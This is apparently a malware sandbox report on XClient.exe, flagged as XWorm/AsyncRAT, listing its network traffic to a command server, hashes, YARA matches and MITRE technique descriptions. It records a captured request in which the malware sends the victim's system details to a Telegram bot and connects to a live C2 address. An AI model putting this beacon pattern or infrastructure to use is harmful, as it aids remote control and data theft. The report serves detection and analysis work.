Dec 30, 2024 20:14:54.461621046 CET	49732	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:54.466521978 CET	7000	49732	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:54.477705956 CET	49732	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:54.482537031 CET	7000	49732	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:54.525624037 CET	49732	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:54.531038046 CET	7000	49732	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:54.541559935 CET	49732	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:54.546438932 CET	7000	49732	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:54.573584080 CET	49732	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:54.578408957 CET	7000	49732	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:54.589576960 CET	49732	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:54.594436884 CET	7000	49732	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:54.605561972 CET	49732	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:54.610388994 CET	7000	49732	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:54.637753010 CET	49732	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:54.642868996 CET	7000	49732	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:54.701586962 CET	49732	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:54.706429005 CET	7000	49732	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:55.947626114 CET	7000	49732	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:55.951387882 CET	49732	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:59.701316118 CET	49732	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:59.705549002 CET	49733	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:59.706357002 CET	7000	49732	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:59.710433006 CET	7000	49733	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:59.717353106 CET	49733	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:59.729456902 CET	49733	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:59.734333038 CET	7000	49733	144.48.105.119	192.168.2.16
Dec 30, 2024 20:14:59.749315023 CET	49733	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:14:59.754249096 CET	7000	49733	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:01.277767897 CET	7000	49733	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:01.283272028 CET	49733	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:04.754534006 CET	49733	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:04.756056070 CET	49734	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:04.759376049 CET	7000	49733	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:04.760876894 CET	7000	49734	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:04.760971069 CET	49734	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:04.775459051 CET	49734	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:04.780304909 CET	7000	49734	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:06.324250937 CET	7000	49734	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:06.324326992 CET	49734	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:09.789855003 CET	49734	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:09.789856911 CET	49735	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:09.794779062 CET	7000	49734	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:09.794790030 CET	7000	49735	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:09.799309015 CET	49735	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:09.811309099 CET	49735	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:09.816163063 CET	7000	49735	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:11.354947090 CET	7000	49735	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:11.361931086 CET	49735	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:14.821580887 CET	49735	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:14.823112965 CET	49736	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:14.969042063 CET	7000	49735	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:14.969059944 CET	7000	49736	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:14.969175100 CET	49736	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:14.985213995 CET	49736	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:14.991628885 CET	7000	49736	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:15.029675007 CET	49736	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:15.034519911 CET	7000	49736	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:15.061642885 CET	49736	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:15.066468000 CET	7000	49736	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:15.077652931 CET	49736	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:15.082454920 CET	7000	49736	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:15.955323935 CET	49736	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:15.960150957 CET	7000	49736	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:16.526101112 CET	7000	49736	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:16.526164055 CET	49736	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:20.099337101 CET	49736	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:20.099363089 CET	49737	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:20.104255915 CET	7000	49736	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:20.104266882 CET	7000	49737	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:20.111362934 CET	49737	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:20.123908997 CET	49737	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:20.128726959 CET	7000	49737	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:21.668632984 CET	7000	49737	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:21.673516989 CET	49737	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:25.129623890 CET	49737	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:25.131107092 CET	49738	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:25.134476900 CET	7000	49737	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:25.135905981 CET	7000	49738	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:25.135967970 CET	49738	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:25.156759977 CET	49738	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:25.161626101 CET	7000	49738	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:25.177671909 CET	49738	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:25.182472944 CET	7000	49738	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:26.696139097 CET	7000	49738	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:26.696197987 CET	49738	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:30.211347103 CET	49738	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:30.215353966 CET	49739	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:30.216267109 CET	7000	49738	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:30.220163107 CET	7000	49739	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:30.223409891 CET	49739	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:30.239589930 CET	49739	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:30.244467020 CET	7000	49739	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:30.257746935 CET	49739	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:30.262587070 CET	7000	49739	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:30.544842005 CET	49739	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:30.549772978 CET	7000	49739	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:30.560718060 CET	49739	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:30.565613985 CET	7000	49739	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:30.576695919 CET	49739	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:30.581495047 CET	7000	49739	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:30.591739893 CET	49739	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:30.596493959 CET	7000	49739	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:31.778141975 CET	7000	49739	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:31.778446913 CET	49739	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:35.611383915 CET	49739	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:35.614392042 CET	49740	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:35.616286039 CET	7000	49739	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:35.619249105 CET	7000	49740	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:35.626384020 CET	49740	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:35.638386011 CET	49740	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:35.643232107 CET	7000	49740	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:35.755377054 CET	49740	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:35.760164976 CET	7000	49740	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:37.201652050 CET	7000	49740	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:37.201772928 CET	49740	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:40.865643978 CET	49740	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:40.867216110 CET	49741	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:40.871107101 CET	7000	49740	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:40.872478008 CET	7000	49741	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:40.872561932 CET	49741	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:40.887136936 CET	49741	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:40.891974926 CET	7000	49741	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:40.929980040 CET	49741	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:40.934825897 CET	7000	49741	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:40.961738110 CET	49741	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:40.966582060 CET	7000	49741	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:41.009751081 CET	49741	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:41.014676094 CET	7000	49741	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:41.025741100 CET	49741	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:41.030533075 CET	7000	49741	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:41.073693037 CET	49741	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:41.078521967 CET	7000	49741	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:43.264991045 CET	7000	49741	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:43.265068054 CET	49741	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:43.265315056 CET	7000	49741	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:43.265357018 CET	49741	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:43.265538931 CET	7000	49741	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:43.265772104 CET	49741	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:48.855631113 CET	49741	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:48.857700109 CET	49742	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:48.860548019 CET	7000	49741	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:48.862576962 CET	7000	49742	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:48.865747929 CET	49742	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:48.877449989 CET	49742	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:48.882210016 CET	7000	49742	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:50.477534056 CET	7000	49742	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:50.477644920 CET	49742	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:53.843677998 CET	49742	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:53.844906092 CET	49743	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:53.848566055 CET	7000	49742	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:53.849746943 CET	7000	49743	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:53.849843025 CET	49743	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:53.860455990 CET	49743	7000	192.168.2.16	144.48.105.119
Dec 30, 2024 20:15:53.865273952 CET	7000	49743	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:55.403444052 CET	7000	49743	144.48.105.119	192.168.2.16
Dec 30, 2024 20:15:55.403517962 CET	49743	7000	192.168.2.16	144.48.105.119

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 20:13:40.791917086 CET	49895	53	192.168.2.16	1.1.1.1
Dec 30, 2024 20:13:40.799556017 CET	53	49895	1.1.1.1	192.168.2.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 30, 2024 20:13:40.791917086 CET	192.168.2.16	1.1.1.1	0x5a35	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 30, 2024 20:13:40.799556017 CET	1.1.1.1	192.168.2.16	0x5a35	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49702	149.154.167.220	443	6524	C:\Users\user\Desktop\XClient.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 19:13:41 UTC	409	OUT	GET /botYour_Token/sendMessage?chat_id=6170564111&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A7711B137F8E174C9CF15%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20ZLSGWO%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6 HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-12-30 19:13:41 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 30 Dec 2024 19:13:41 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-30 19:13:41 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	14:13:36
Start date:	30/12/2024
Path:	C:\Users\user\Desktop\XClient.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\XClient.exe"
Imagebase:	0x9b0000
File size:	40'960 bytes
MD5 hash:	CA1B3F03551F41B8C83217C3AF2B0D3C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000000.1140164033.00000000009B2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000000.1140164033.00000000009B2000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	14:15:24
Start date:	30/12/2024
Path:	C:\Users\user\Desktop\XClient.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\XClient.exe"
Imagebase:	0x170000
File size:	40'960 bytes
MD5 hash:	CA1B3F03551F41B8C83217C3AF2B0D3C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	17.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFEC82A21F6 Relevance: 1.6, APIs: 1, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32 ref: 00007FFEC82A22B1

Memory Dump Source

Source File: 00000000.00000002.2407424835.00007FFEC82A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEC82A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffec82a0000_XClient.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 70ac6a0d60f9ff9463b7a7299668722f18133e27fe383cf11fdb30e5ad78af0d
Instruction ID: aee2b48705442fe15763950a0437f529607adc4010703943134af3f56ff07ace
Opcode Fuzzy Hash: 70ac6a0d60f9ff9463b7a7299668722f18133e27fe383cf11fdb30e5ad78af0d
Instruction Fuzzy Hash: BA31D53191CA4D8FDB58DF5C98456F9BBE1EB99321F04427FE00DD3252CA64A816CBC1

Analysis Process: XClient.exePID: 4992, Parent PID: 4380COMMON

Executed Functions

Function 00007FFEC82A06ED Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2257513014.00007FFEC82A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEC82A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffec82a0000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83a5545be589723619ba629d0ba92e32f9917c02b7d18b358572f9c32c4a9d6e
Instruction ID: 773b7e50a713554e0c5c79e37091c9727a20396c760fda51305b521aa51dea17
Opcode Fuzzy Hash: 83a5545be589723619ba629d0ba92e32f9917c02b7d18b358572f9c32c4a9d6e
Instruction Fuzzy Hash: 1431A83365964B8FD745F728949D5EA7FF2FF8A200B9084F6D808C728BDD249980C799

Function 00007FFEC82A09BD Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2257513014.00007FFEC82A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEC82A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffec82a0000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3991551515a2675942a52d2f374769a545cde67e1efc042709957dc515423688
Instruction ID: 3472e9e2de0a153a57aaa9f8e8089942a04a3d4ff59b2c57549572fc909dc0dd
Opcode Fuzzy Hash: 3991551515a2675942a52d2f374769a545cde67e1efc042709957dc515423688
Instruction Fuzzy Hash: 8B513421A5950A8FDB48FB74996D5ED7EE2FFC9300B804879E40EC32D6ED289951C748

Function 00007FFEC82A0EB9 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2257513014.00007FFEC82A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEC82A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffec82a0000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e6fa0a22d3e85c466672c3684bd2b785d110a40c447bf2fd4799d2608df3971
Instruction ID: 78c10f49ee52310ed5acb5429ce0d7825c2d16b696855e73dd5816e5037921a7
Opcode Fuzzy Hash: 2e6fa0a22d3e85c466672c3684bd2b785d110a40c447bf2fd4799d2608df3971
Instruction Fuzzy Hash: D021CF31919A4A8FDB49EB7888592E87BF2FF99300F414079E009D7296DE28A941C784

Function 00007FFEC82A0EF8 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2257513014.00007FFEC82A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEC82A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffec82a0000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 041b865224894c689937e79bc82752a7d0931491a116e6425b0b470e5e5fc348
Instruction ID: d36b1660d974bb74a6bb06e6c328269a94dd3092cee63340e1db76e078d812ef
Opcode Fuzzy Hash: 041b865224894c689937e79bc82752a7d0931491a116e6425b0b470e5e5fc348
Instruction Fuzzy Hash: D0110031E1991E8FDB88FB6884992FD7AF2FFD8301B504479D00AD7296DD39A981C784

Function 00007FFEC82A10E4 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2257513014.00007FFEC82A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEC82A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffec82a0000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef7aa0f6a73bd4377d65751a643d70ccfd198d856fc204e56adb27123101d29b
Instruction ID: 79833920c9bdd0beef078a716bc63737921af35ff8e441a184f207341019d3db
Opcode Fuzzy Hash: ef7aa0f6a73bd4377d65751a643d70ccfd198d856fc204e56adb27123101d29b
Instruction Fuzzy Hash: 6AE03021B1491E4ADF84A79CA8592FDA3D1FF9C211F000176D50CD7282DE1864414790

Function 00007FFEC82A1058 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2257513014.00007FFEC82A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEC82A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffec82a0000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d612007f48c5794ca66131121a020241a5c5e243721a7eec81d273f8ecda8db1
Instruction ID: 8574c7813b8455b3e04763c1c868c85bb0e1d6ba042664fe743330cd51ce8abe
Opcode Fuzzy Hash: d612007f48c5794ca66131121a020241a5c5e243721a7eec81d273f8ecda8db1
Instruction Fuzzy Hash: 3FF01C20B19D068BF69477BC481A37D61D6DF99702F10427AA409C3296CC28A9514392

Function 00007FFEC82A0E7C Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2257513014.00007FFEC82A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEC82A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffec82a0000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ae5e49ea6e0fb5d292197500c32d86d395e89ba3fe2005bc9c8aa51c8b71cd4
Instruction ID: 9ff992778d299694ae9814c40594c41dda6d284ab725f62240f934f48f29dec3
Opcode Fuzzy Hash: 4ae5e49ea6e0fb5d292197500c32d86d395e89ba3fe2005bc9c8aa51c8b71cd4
Instruction Fuzzy Hash: 5DE0863170D9584FE740F76CF8486A87BD0EF56321B4501D7E44DC7163DA66DC828780

Function 00007FFEC82A12EF Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2257513014.00007FFEC82A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEC82A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffec82a0000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d590394a45051de932437b44554a34a3cf928e9a8df75ff827bd3789624bc212
Instruction ID: 2b470af007953a3f76cdb33c88b2c3e5c3d1ec2ce4a2d0981f34ffd8f7a5a858
Opcode Fuzzy Hash: d590394a45051de932437b44554a34a3cf928e9a8df75ff827bd3789624bc212
Instruction Fuzzy Hash: 91E02633A085150BA748E60CA88A8B973D2EBD4360B000539F808C7245DD18DA8247C1

Function 00007FFEC82A10B9 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2257513014.00007FFEC82A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEC82A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffec82a0000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02d789b4f600d34ee953c1c88c57650b7c9a3360030c51dc1319e4a7d3850a03
Instruction ID: fc0459429d1ed32a3ad0e7ecc56919eecf93dfd938ccdf157a7c482fc6718904
Opcode Fuzzy Hash: 02d789b4f600d34ee953c1c88c57650b7c9a3360030c51dc1319e4a7d3850a03
Instruction Fuzzy Hash: 5CD01210B54A054BDBC47728486D77CAAD2FF84200B510068E41EC3287EF286C134B41

Function 00007FFEC82A0D96 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2257513014.00007FFEC82A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEC82A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffec82a0000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3af3bc98c8f6c1bc5d1c87d971405866e98ffedc330a1ed810d81ece3c423093
Instruction ID: 89b71e02d00d21d5d38da09efb7ac9dff447cb8d0e4df039edf68e62f2d07802
Opcode Fuzzy Hash: 3af3bc98c8f6c1bc5d1c87d971405866e98ffedc330a1ed810d81ece3c423093
Instruction Fuzzy Hash: BAB092173048091E5094E26CA4D82F886C2CBED5B23140676900DD638ADD242C575200

Function 00007FFEC82A0DB0 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2257513014.00007FFEC82A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEC82A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffec82a0000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 269d48c5fe188742865172c5e44448f337a1b5e63c594e34f319fd0f6a5e20a5
Instruction ID: 2382844c083f0c96eb58071121b9f01c97cf39b1ee708e6fa288bf4c87af87ca
Opcode Fuzzy Hash: 269d48c5fe188742865172c5e44448f337a1b5e63c594e34f319fd0f6a5e20a5
Instruction Fuzzy Hash: 16C092013089CA0A9685A62C28F92B88BC2DBEE12534015BBA14BC6387DD04695E0304

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
